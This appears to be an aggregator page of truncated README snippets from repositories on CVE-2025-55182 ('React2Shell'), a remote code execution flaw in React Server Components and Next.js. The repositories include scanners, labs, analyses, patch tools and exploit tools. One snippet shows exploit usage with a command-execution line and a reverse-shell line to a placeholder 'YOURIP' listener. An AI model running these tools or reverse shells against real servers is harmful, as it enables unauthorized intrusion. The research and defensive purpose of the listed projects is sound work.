CVE-2025-55182-React2Shell

CVE-2025-55182-React2Shell 由 infrar3d 开发 一个影响 React.js 服务器端使用的 10.0 严重性漏洞，在 React.js 中被跟踪为 CVE-2025-55182，在 Next.js 框架中被跟踪为 CVE-2025-66478。 该漏洞由 Lachlan Davidson 于 2025 年 11 月 29 日太平洋时间负责任地向 Meta 团队披露。React 和 Vercel 于 2025 年 12 月 3 日太平洋时间进行了初步披露和补丁发布。（原文：https://react2shell.com/） 用法： python3...

nextjs-security-update

nextjs-security-update 有人正在构建开源（OSS）工具来利用新的 Next.js 漏洞。这是一个用于反击的工具——让升级你所有 GitHub 账户中的 Next.js 应用变得傻瓜式简单。 底层使用官方 Vercel 修复工具。 发生了什么 2025年12月11日：Next.js 披露了多个影响使用 App Router 的 React Server Components 的关键漏洞： CVE-2025-66478 RCE CVE-2025-55183 源码泄露 CVE-2025-55184 DoS CVE-2025-67779 完整 DoS 修复...

React2Shell_CVE-2025-55182

CVE-2025-55182 模块化利用工具与WAF绕过 提供交互式shell的Python脚本，用于利用易受攻击的React Server Components和Next.js应用程序中的关键RCE漏洞（CVE-2025-55182）。该漏洞利用针对反序列化缺陷，允许未经身份验证的远程代码执行。它包含一个用于添加WAF绕过技术的模块化系统。 !NOTE 此漏洞利用工具旨在与易受攻击的RSC协议端点交互。执行结果通过服务器的响应机制捕获。不产生输出结果的命令将返回empty。 !CAUTION 此代码仅用于研究和教育目的...

React2Shell

React2Shell CVE-2025-55182 扫描器与利用工具包，用于 Next.js/React 服务器组件 RCE。 仓库结构 React2Shell/ ├── browser-extension/ 基于浏览器的检测 Chrome 扩展 │ ├── manifest.json │ ├── content.js │ ├── popup.html/js │ └── background.js ├── cli/ 命令行扫描器与利用工具 │ ├── react2shell.py │ └── requirements.txt ├── docs/ 面向学习的文档 │ ├──...

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell（CVE-2025-55182）：打破网络的反序列化漏洞 ⚡ React2Shell，CVE-2025-55182，RCE漏洞：对React服务器组件中不安全的反序列化缺陷的深入分析，该缺陷能够在默认的React/Next.js环境中实现未经身份验证的远程代码执行。 ⏩ 快速总结 React2Shell（CVE-2025-55182）是一个严重远程代码执行（RCE）漏洞，影响React 19.x中的React服务器组件（RSC）以及Next.js等框架。该漏洞源于对“Flight”协议块的 不安全反序列化，允许攻击者注入恶意结构，这些结构会解析为Function构造...

mitigate-cve-2026-23869-react-server-component-loops

如何修复 CVE-2026-23869：缓解 React 服务端组件循环 保护现代企业前端应用需要持续监控服务端数据获取布局和框架组件生命周期。随着 CVE-2026-23869 的近期公开披露，工程团队正面临与 React 服务端组件内不受控制的渲染循环相关的严重漏洞。这一关键安全漏洞允许未经身份验证的网络请求触发递归渲染状态，从而瞬间耗尽后端服务器内存层。若未及时修补，一波自动化利用流量可能导致应用程序容器永久冻结，并在云基础设施中造成全面的网络拒绝服务日志。 为确保您的部署流水线安全，Web...

CVE-2025-55182

Next.js React 服务端组件 RCE 漏洞利用 通过原型污染利用 CVE-2025-55182 实现远程代码执行。 安装 uv sync 使用方法 命令执行 source .venv/bin/activate python3 exploit.py -u https://example.com -c "id" 反弹 Shell python3 exploit.py -u https://example.com -r -l YOURIP -p 4444 -P nc-mkfifo 选项 -u, --url: 要检查的 URL/主机（必需） -c, --cmd: 要执行的命令 -r,...

WEB-CLI_RCE_React2Shell

REACT2SHELL 🎯 快速概览（这是什么？） 该工具是一个针对 CVE-2025-55182 的简单概念验证（PoC）漏洞利用程序。这是在使用了 React Server Components 的 Next.js 应用中发现的一个严重缺陷（原型污染）。 如果目标服务器存在漏洞，该脚本可让你在服务器上执行操作系统命令（远程代码执行，即 RCE）。 该工具专为学习、CTF 比赛和负责任的安全研究而构建。 ⚠️ 学生与 CTF 玩家免责声明 请合乎道德地使用。 仅可针对你拥有或已获得明确书面测试许可的系统运行此漏洞利用程序。未经授权的使用属于违法行为。此工具仅供教育目的使用。 🌟 如何使用...

CVE-2025-55182-Scanner

CVE-2025-55182 - React 服务端组件 RCE 扫描器 一个针对 CVE-2025-55182 的综合安全测试工具包，该漏洞是 React 服务端组件中的一个严重的预认证远程代码执行（RCE）漏洞。 🎓 新增：完整教育指南现已推出！ 想 100% 理解这个漏洞吗？ 📖 阅读我们的完整技术分析 - 你需要知道的一切： 为什么 React 在服务器上运行（不仅仅是浏览器！） 攻击如何运作（附可视化图解） 逐行解释漏洞利用代码 从入门概念到高级利用 无需任何前置条件！ 非常适合： 安全报告、培训材料、威胁分析，或纯粹为了学习！ 🔍 概述 此漏洞影响 React 服务端组件...

React2Shell-PoC-CVE-2025-55182

模拟 React2Shell CVE-2025-55182 漏洞利用 注意： 本文档仅用于学习和安全研究目的。 未经授权，请勿用于攻击系统。 1. 概述 CVE-2025-55182，又称 React2Shell，是一个影响 React Server Components RSC 的严重远程代码执行（Remote Code Execution, RCE）漏洞。它通过 Flight 协议在客户端和服务器之间进行通信。当客户端请求数据时，服务器会收到一个 payload 并对其进行解析，这可能允许攻击者注入 React 会视为合法的恶意结构或任意代码。 项目| 内容 ---|--- 严重程度...

react2shell-toolkit

Kit de evaluación de RCE de Next.js Un kit de herramientas en Python para validar e investigar CVE-2025-55182, también conocido como React2Shell , en entornos autorizados. La vulnerabilidad afecta a los React Server Components y puede exponer aplicaciones construidas con frameworks como Next.js a...

vulnerable-next-js-poc

CVE-2025-55182 React2Shell - Prueba de Concepto ⚠️ SOLO PARA INVESTIGACIÓN DE SEGURIDAD Este repositorio contiene una prueba de concepto para CVE-2025-55182 , una vulnerabilidad crítica de ejecución remota de código en React Server Components. Esto es solo para pruebas de seguridad autorizadas y...

React2Shell-CVE-2025-55182

🎯 React2Shell CVE-2025-55182: 从 React Server Components 到完全 RCE 难度： 中级 → 高级 类别： Web 漏洞利用 | 反序列化 | RCE 🧩 任务 1: 简介 — 为什么 React2Shell 是个大事 CVE-2025-55182，绰号 React2Shell ，是那种让防御者立即感到紧张 😬 的漏洞之一。它于 2025 年 12 月 被发现，CVSS 评分为 10.0 ，这已经告诉你这不是某种边缘情况的 bug。 其核心是，这个漏洞影响 React Server Components RSC...

React2Shell

Docker 实验室与检测扫描器及 PoC 验证：React2Shell CVE-2025-55182 免责声明： 本仓库及其 PoC 工件严格用于在隔离实验室环境中的教育、研究和防御性安全演示目的。未经授权对系统进行测试是严格禁止的。 1. 项目管理与授权边界 项目目的 本仓库提供了一个可复现的双容器 Docker 环境，旨在分析、利用并验证针对 React Server Components RSC Flight Protocol 反序列化漏洞（通常称为 React2Shell / CVE-2025-55182 ）的缓解措施。该实验室演示了在未打补丁的 Next.js...

CVE-2025-55182

CVE-2025-55182 扫描与利用工具 !Warning 本仓库仅用于教育和研究目的 。 请仅在您拥有或已获得明确许可 的系统上使用所提供的PoC。 未经授权的访问 、利用或滥用本仓库中的任何材料都是非法的 。 作者不对因不当使用造成的任何损害、误用或法律后果承担责任 。 🔍 概述 CVE-2025-55182 是一个严重远程代码执行漏洞 ，影响 React Server Components 版本 19.0.0、19.1.0、19.1.1 和 19.2.0。该漏洞源于对 Server Function 端点的 HTTP 请求负载进行不安全的反序列化...

React-Server-Components-RCE

React Server Components 远程RCE利用工具 📖 工具简介 React Server Components 远程RCE利用工具是一款专门针对 React Server Components 和 Next.js 框架远程代码执行漏洞的安全测试工具，提供图形化操作界面，支持多种攻击模式和批量检测功能。 ⚠️ 免责声明 ：本工具仅供授权的安全测试和CTF竞赛使用，严禁用于非法攻击。使用本工具造成的任何后果由使用者自行承担。 🎯 漏洞影响范围 React Server 受影响版本 React Server 19.0.0 React Server 19.0.1...

CVE-2025-55182-Exploit-extension

RSC Fingerprint Detector A Chrome extension for detecting React Server Components RSC and Next.js App Router fingerprints on web pages. ⚠️ Important Notice This extension is intended for educational and security research purposes only. It includes functionality that may be used to test for...

CVE-2025-55182-golang-PoC

CVE-2025-55182 React Server Components 远程代码执行 - Go PoC ⚠️ 仅供授权安全测试使用 ⚠️ 描述 CVE-2025-55182（又称 CVE-2025-66478）是 React Server Components（Flight 协议）中的一个严重远程代码执行漏洞。本工具是该 PoC 的 Go 实现，用于安全研究和授权渗透测试。 受影响版本： react-server-dom-webpack: 19.0.0 - 19.2.0 Next.js:...

CVE-2025-55182

CVE-2025-55182 / CVE-2025-66478 — Next.js Middleware / RSC 绕过分析 作者对因本研究造成的滥用或损害不承担任何责任 仅供教育和防御目的 描述 本仓库包含一个小型实验环境和针对 CVE-2025-55182 及其副本 CVE-2025-66478 的概念验证分析，涉及 Next.js React Server Components RSC 和 中间件授权绕过行为 。 此 PoC 的目标是重现漏洞所需的内部请求流条件，分析中间件行为，并理解 x-middleware-subrequest 在特定配置下如何影响受保护的路由。 本仓库 不...

CVE-2025-55182-shellinteractive

CVE-2025-55182-shellinteractive 基础代码源自： https://github.com/Emiyelbarto/CVE-2025-55182-PoC 非常感谢您做出的出色贡献。 概述 CVE-2025-55182 是 Next.js/React Server Components 中的一个反序列化漏洞，允许未经身份验证的远程攻击者在受影响服务器上执行任意代码。该漏洞源于 React Server Actions 对序列化数据的不正确处理。 主要特性： ✅ 交互式 Shell，支持命令历史记录和自动补全 ✅ 自动漏洞检测 ✅ 远程命令执行 ✅ 文件上传/下载功...